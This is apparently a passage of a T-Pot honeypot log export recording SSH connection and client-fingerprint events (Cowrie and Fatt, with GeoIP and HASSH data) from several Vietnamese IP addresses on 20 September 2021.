20967	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:14.141584+03	2021-09-20 14:15:03.052613+03	{"_id": "FwXiAnwBvYTbRNuEkfxl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:37334 (192.168.176.2:22) [session: 4e761ab8d828]", "session": "4e761ab8d828", "@version": "1", "protocol": "ssh", "src_port": 37334, "dest_port": 22, "timestamp": "2021-09-20T11:06:14.141584Z", "@timestamp": "2021-09-20T11:06:14.141Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
20968	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:14.162895+03	2021-09-20 14:15:03.053612+03	{"_id": "GAXiAnwBvYTbRNuEkfxl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:46212 (192.168.176.2:22) [session: 2f97955b344b]", "session": "2f97955b344b", "@version": "1", "protocol": "ssh", "src_port": 46212, "dest_port": 22, "timestamp": "2021-09-20T11:06:14.162895Z", "@timestamp": "2021-09-20T11:06:14.162Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
20969	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:14.426041+03	2021-09-20 14:15:03.055612+03	{"_id": "GQXiAnwBvYTbRNuEkfxl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:33448 (192.168.176.2:22) [session: 0abdc9a421c4]", "session": "0abdc9a421c4", "@version": "1", "protocol": "ssh", "src_port": 33448, "dest_port": 22, "timestamp": "2021-09-20T11:06:14.426041Z", "@timestamp": "2021-09-20T11:06:14.426Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
20970	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:14.133464+03	2021-09-20 14:15:03.056613+03	{"_id": "EQXiAnwBvYTbRNuEkfxl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:50260 (192.168.176.2:22) [session: 00c51bf68789]", "session": "00c51bf68789", "@version": "1", "protocol": "ssh", "src_port": 50260, "dest_port": 22, "timestamp": "2021-09-20T11:06:14.133464Z", "@timestamp": "2021-09-20T11:06:14.133Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
20972	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:06:14.367654+03	2021-09-20 14:15:03.058614+03	{"_id": "OwXiAnwBvYTbRNuEkfxn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 50260, "dest_port": 22, "timestamp": "2021-09-20T11:06:14.367654", "@timestamp": "2021-09-20T11:06:14.367Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20973	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:14.454676+03	2021-09-20 14:15:03.059614+03	{"_id": "JwXiAnwBvYTbRNuEkfxn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "0abdc9a421c4", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:14.454676Z", "@timestamp": "2021-09-20T11:06:14.454Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
20974	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:14.462383+03	2021-09-20 14:15:03.061613+03	{"_id": "KAXiAnwBvYTbRNuEkfxn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "9865354beb87", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:14.462383Z", "@timestamp": "2021-09-20T11:06:14.462Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
20975	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:06:14.441921+03	2021-09-20 14:15:03.062612+03	{"_id": "PQXiAnwBvYTbRNuEkfxn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 46212, "dest_port": 22, "timestamp": "2021-09-20T11:06:14.441921", "@timestamp": "2021-09-20T11:06:14.441Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20976	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:14.698343+03	2021-09-20 14:15:03.063612+03	{"_id": "PgXiAnwBvYTbRNuEkfxn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 47140, "timestamp": "2021-09-20T11:06:14.698343", "@timestamp": "2021-09-20T11:06:14.698Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20977	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:14.706863+03	2021-09-20 14:15:03.064613+03	{"_id": "PwXiAnwBvYTbRNuEkfxn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 33448, "timestamp": "2021-09-20T11:06:14.706863", "@timestamp": "2021-09-20T11:06:14.706Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20978	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:14.708835+03	2021-09-20 14:15:03.066612+03	{"_id": "QAXiAnwBvYTbRNuEkfxn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 33448, "dest_port": 22, "timestamp": "2021-09-20T11:06:14.708835", "@timestamp": "2021-09-20T11:06:14.708Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20979	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:14.737269+03	2021-09-20 14:15:03.067612+03	{"_id": "QQXiAnwBvYTbRNuEkfxn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": 